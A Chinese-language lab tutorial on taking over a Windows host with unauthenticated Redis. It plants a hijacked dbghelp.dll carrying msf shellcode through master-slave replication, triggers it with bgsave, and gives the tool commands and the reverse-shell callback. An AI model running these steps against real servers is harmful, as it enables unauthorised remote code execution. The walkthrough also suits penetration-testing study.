Windows中redis未授权通过dll劫持上线
参考自https://mp.weixin.qq.com/s/U-UD7h92fEJzCjyGbgF4Og
前言
项目中时不时会遇到windows的redis未授权,利用dll劫持可以不用重启获取shell。本文参考网上师傅们的文章详细复现了过程,供各位才入坑的朋友们参考。
前期准备
环境
攻击机:192.168.254.129 win10 默认安装 Redis 3.2.100
目标机:192.168.254.130 win2012 默认安装Redis 3.2.100
回连主机:192.168.254.131,kali msf shellcode
工具准备
dll_hijack
https://github.com/JKme/sb_kiddie-/tree/master/hacking_win/dll_hijack
RedisWrite
https://github.com/r35tart/RedisWriteFile
redis-dump-go
https://github.com/yannh/redis-dump-go
visual studio 2019 微软官网下载
安装redis
攻击机和目标机都采用默认安装,Redis Service会开机自启,权限为Network Service ,对默认目录是拥有完全控制权限的。
寻找DLL劫持目标
连接redis-cli.exe -h 192.168.254.130
,使用bgsave命令,查看缺少的dll
可以看到dbghelp.dll可以作为劫持目标,除了bgsave,其他的命令操作也可以触发其他dll。dbghelp.dll系统自带,我们可以直接拿来利用
利用复现
连接redis,执行info命令,通过config_file能看到路径,我这里不知道怎么配置的没了,所以该复现步骤前提是要知道redis的安装目录。
使用dllHijack工具,执行后生成dbghelp项目
python DllHijacker.py dbghelp.dll
msf生成c的payload
将dbghelp项目中的shellcode进行替换
,release生成
使用主从复制将修改后的dll写入到目标指定位置
下载RedisWriteFile工具,将修改后的dll放在同一个目录下,执行命令
python RedisWriteFile.py --rhost=192.168.254.130 --rport=6379 --lhost=192.168.254.129 --rpath="C:\\Users\\superman\\Desktop\\Redis-x64-3.0.504\\" --rfile="dbghelp.dll" --lfile="dbghelp.dll"
可以看到目标机器被写入了dll文件
在redis客户端连接执行bgsave,尝试触发劫持dll
同时间可以看到msf收到了shell
总结
1、为什么不直接用主从复制获得shell,Windows版的redis目前最高支持版本为3.2,主从复制的前提是需要关键模块MODULE LOAD,这个是redis4.0之后才有的。
2、个人环境测试,发现该dll劫持方式不会影响redis运行,但是会影响redis启动或重启,将恶意的dll删除即可恢复